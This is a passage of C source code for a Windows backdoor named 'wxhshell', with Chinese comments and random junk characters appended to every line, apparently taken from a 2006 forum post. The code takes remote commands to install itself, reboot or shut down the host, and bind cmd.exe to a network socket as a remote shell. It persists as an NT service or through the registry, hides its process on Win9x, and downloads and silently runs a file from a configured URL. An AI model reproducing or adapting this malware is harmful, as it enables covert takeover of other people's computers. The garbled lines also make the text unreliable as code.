      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AL|fL  
    break; Fg#*rzA  
  } 0RoI`>j'  
  // 安装 8w2+t>?  
  case 'i': { ?9?0M A<[i  
    if(Install()) ~Ag !wj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,}{E+e5jh7  
    else =Rb,`%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -^#Ix;%  
    break;  )_j.0a  
    } |:!0`p{R  
  // 卸载 D<xPx  
  case 'r': { U7PA%  
    if(Uninstall()) )%^oR5W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mqc[IAcd]  
    else 9!9 Gpi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f7s]:n*Ih  
    break; P\2QH@p@t  
    } ]-* }-j`  
  // 显示 wxhshell 所在路径 O)9T|, U  
  case 'p': { PI?-gc?[  
    char svExeFile[MAX_PATH]; JC=Bxv  
    strcpy(svExeFile,"\n\r"); 8: s3Q`O  
      strcat(svExeFile,ExeFile); Z]SCIU @+  
        send(wsh,svExeFile,strlen(svExeFile),0); Nm,v E7M  
    break; uL-i>!"L!}  
    } =,T~F3pK  
  // 重启 #v&&GuF  
  case 'b': { #G*z{BRQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |;D[Al5AMc  
    if(Boot(REBOOT)) 55$by.rf?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ).ugMuk  
    else { v11mu2  
    closesocket(wsh); H[>_LYZ8  
    ExitThread(0); }Bc6:a  
    } -CL7^  
    break; )3..7ht3^5  
    } <CA lJ  
  // 关机 PKjA@+  
  case 'd': { iicrRGp3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9l,Gd  
    if(Boot(SHUTDOWN)) p^L6uM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qbP[  9  
    else { vxqMo9T  
    closesocket(wsh); Szg<;._J  
    ExitThread(0); #Jm_~k  
    } k*-+@U"+  
    break; Hfc^<q4a.  
    } QGshc  
  // 获取shell Upv2s:wa}z  
  case 's': { C62<pLJf  
    CmdShell(wsh); .Zwn{SMtu  
    closesocket(wsh); Np/[MC  
    ExitThread(0); iOJgZuP  
    break; }VFSF/\^  
  } c89RuI `B~  
  // 退出 5mFi)0={y  
  case 'x': { :_e.ch:4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ax 3:rl  
    CloseIt(wsh); Q]|+Y0y}X  
    break; .qVdo+M%F  
    } VWMCbg>R  
  // 离开 LZoth+:  
  case 'q': { x%(!+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ikxSWO_Y=  
    closesocket(wsh); M.IV{gj  
    WSACleanup(); Lqch~@E&%#  
    exit(1); . }=;]=  
    break; Jx{,x-I  
        } X,OxvmDm  
  } _X]?  
  } |/<iydP  
m.^6e f  
  // 提示信息 @C!q S7k)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {;-$;\D  
} RMvlA' c  
  } yGD0}\!n  
\4vFEJSh  
  return; xeHu-J!P  
} ?&X6VNbU  
~(&xBtg:}  
// shell模块句柄 +'KM~c?]  
int CmdShell(SOCKET sock) SjJUhTb  
{ I+<`}  
STARTUPINFO si; B[$SA-ZHi  
ZeroMemory(&si,sizeof(si)); #|e <l1F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )Tb;N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pD>3c9J'^F  
PROCESS_INFORMATION ProcessInfo; J`x9 XWYw  
char cmdline[]="cmd"; kh5V&%>?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t6"4+:c!>  
  return 0; t*<c+Ixu  
} 'rF TtT  
~}M{[6!  
// 自身启动模式 keWgbj  
int StartFromService(void) "Km`B1f`  
{ K3Xy%pqR#  
typedef struct *Z0}0< D@Z  
{ 2xnOWW   
  DWORD ExitStatus; h T Xc0  
  DWORD PebBaseAddress; ~j 4=PT  
  DWORD AffinityMask;  LSfj7j`  
  DWORD BasePriority; (*;u{m=  
  ULONG UniqueProcessId; jG^~{7#  
  ULONG InheritedFromUniqueProcessId; ze ua`jQ  
}   PROCESS_BASIC_INFORMATION; y7w>/7q  
^{Vm,nAQqs  
PROCNTQSIP NtQueryInformationProcess; 7dakj>JM  
C9nNziws  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z^b\hR   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x``!t>)O  
vIG,!^*3  
  HANDLE             hProcess; xz%ig^L  
  PROCESS_BASIC_INFORMATION pbi; y>#j4%D~4  
m2}&5vD8-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %EpK=;51U  
  if(NULL == hInst ) return 0; \vT8 )\  
^ ID%pd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nph{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %*/[aq,#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'v,W gPe  
=DCQ!02  
  if (!NtQueryInformationProcess) return 0; dHu]wog  
!uZ+r%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]MHQ "E?  
  if(!hProcess) return 0; $wN.~"T  
980+Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^*r${Nj  
'|cuVxcE55  
  CloseHandle(hProcess); B8nXWi  
_m&VdIPO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t"L:3<U7  
if(hProcess==NULL) return 0; \Dc\H )  
v_ J.M]  
HMODULE hMod; tb i;X=5  
char procName[255]; /qCYNwWH9  
unsigned long cbNeeded; Po_9M4kU  
4H,DG`[Mo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z_H2 L"Z  
2Fh_  
  CloseHandle(hProcess); & p%,+|  
z=xHk|+'  
if(strstr(procName,"services")) return 1; // 以服务启动 h}oQr0"c  
#[si.rv->  
  return 0; // 注册表启动 H z6H,h  
} q[#\qT&QU  
u1"e+4f  
// 主模块 9@j~1G%^  
int StartWxhshell(LPSTR lpCmdLine) <V, ?!}V  
{ jTqba:q@  
  SOCKET wsl; V.F 's(o  
BOOL val=TRUE; nFP2wvFM  
  int port=0; P]TT  
  struct sockaddr_in door; Brl6r8LGi  
8fN0"pymo  
  if(wscfg.ws_autoins) Install(); d.+vjMI  
X XF9oy8  
port=atoi(lpCmdLine); JC#@sJ4az)  
Dux`BKl  
if(port<=0) port=wscfg.ws_port; G^R;~J*TDE  
Y}Dp{  
  WSADATA data; DYl^6 ]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dbLX}>  
3UaP7p+d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j\vK`.z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); daorKW4  
  door.sin_family = AF_INET; =.%ZF]Oe+#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vBpg6 fX  
  door.sin_port = htons(port); ~;+vF-]R  
MJb = +L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5bw]cv$i  
closesocket(wsl); T/K.'92S  
return 1; X=hgLK^3<,  
} U\[V !1O  
4A&e+kz&:R  
  if(listen(wsl,2) == INVALID_SOCKET) { {$t*Mb0  
closesocket(wsl); BuYDw*.  
return 1; W(8g3  
} {aL$vgYT1  
  Wxhshell(wsl); :}-u`K*  
  WSACleanup(); NWg\{a  
cjR.9bgn  
return 0; Pjy?&;GvT  
Mz^s^aJEE  
} |:?.-tq  
o ,!"E^  
// 以NT服务方式启动 So^`L s;S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pxbNeqK@p  
{ hK"=~\,  
DWORD   status = 0; lEDHx[q  
  DWORD   specificError = 0xfffffff; I Q L~I13  
HLk"a-+'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aC},h   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S3'g(+S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z:hrrq9  
  serviceStatus.dwWin32ExitCode     = 0; hq*JQb;Y}  
  serviceStatus.dwServiceSpecificExitCode = 0; \,EPsQV0?  
  serviceStatus.dwCheckPoint       = 0; VqrMi *W6  
  serviceStatus.dwWaitHint       = 0; P~<93  
V[M#qZS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); acZHb[w  
  if (hServiceStatusHandle==0) return; l!  y _P  
D5>~'N3b  
status = GetLastError(); (0Qq rNs  
  if (status!=NO_ERROR) *N r|G61  
{ >FHsZKJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -IS9uaT5  
    serviceStatus.dwCheckPoint       = 0; /RC!Yi  
    serviceStatus.dwWaitHint       = 0; de6dLT>m  
    serviceStatus.dwWin32ExitCode     = status; nnNg^<[k3  
    serviceStatus.dwServiceSpecificExitCode = specificError; t4*A+"~j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T/;hIX:R  
    return; $te,\$&}  
  } \i+h P1 mz  
,m?D\Pru  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b1u'ukDP\  
  serviceStatus.dwCheckPoint       = 0; #<PdZl R  
  serviceStatus.dwWaitHint       = 0; 3R*@m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X-,y[ )  
} LwPM7S~ *  
cv4M[]U~  
// 处理NT服务事件,比如:启动、停止 2S6EDXc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =.oWguzu  
{ ws?s   
switch(fdwControl) I0vn d7  
{ D,j5k3< #  
case SERVICE_CONTROL_STOP: m#$za7  
  serviceStatus.dwWin32ExitCode = 0; }?J5!X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RM1uYFs<  
  serviceStatus.dwCheckPoint   = 0; CD1=2  
  serviceStatus.dwWaitHint     = 0; _0["J:s9  
  { /A.i5=k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (VAL.v*  
  } j2 ^T:q[  
  return; l&Ghs@>Kl  
case SERVICE_CONTROL_PAUSE: dO;vcgvb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xg^^@o  
  break; @%nUfG7TQ  
case SERVICE_CONTROL_CONTINUE: xJLO\B+gM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TY\"@(Q|G  
  break; <57l|}8  
case SERVICE_CONTROL_INTERROGATE:  KdJx#Lc  
  break; Mgs|*u-5  
}; V8$bPVps  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u2B W]T]  
} ,M&0<k\  
Ti|++oC/&  
// 标准应用程序主函数 h&M RQno  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w00\1'-Kz  
{ 9*+0j2uhQ  
llfiNEK5;  
// 获取操作系统版本 Z_ gV Ya  
OsIsNt=GetOsVer(); (+8xUc(w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d.j'0w"   
F]A~~P  
  // 从命令行安装 d"6]?  
  if(strpbrk(lpCmdLine,"iI")) Install(); tW:/R@@  
N8YBu/  
  // 下载执行文件 j~S!!Z ]  
if(wscfg.ws_downexe) { E9B*K2l^{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #K1BJ#KUt  
  WinExec(wscfg.ws_filenam,SW_HIDE); *\:_o5o%[T  
} 5%+bWI{w  
Rfc&OV  
if(!OsIsNt) { %Fg8l{H3  
// 如果时win9x,隐藏进程并且设置为注册表启动 kqvJ&7  
HideProc(); P"uHtHK  
StartWxhshell(lpCmdLine); 8H#c4%by)  
} Owpg]p yVD  
else MupW=3.38  
  if(StartFromService()) #!Cter2  
  // 以服务方式启动 #G  +  
  StartServiceCtrlDispatcher(DispatchTable); -Bo~"q  
else hRa(<ZK  
  // 普通方式启动 #f3;}1(  
  StartWxhshell(lpCmdLine); KCh  
Ym.l@(  
return 0; Rs F3#H  
}
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只看该作者 1 发表于: 2006-10-10
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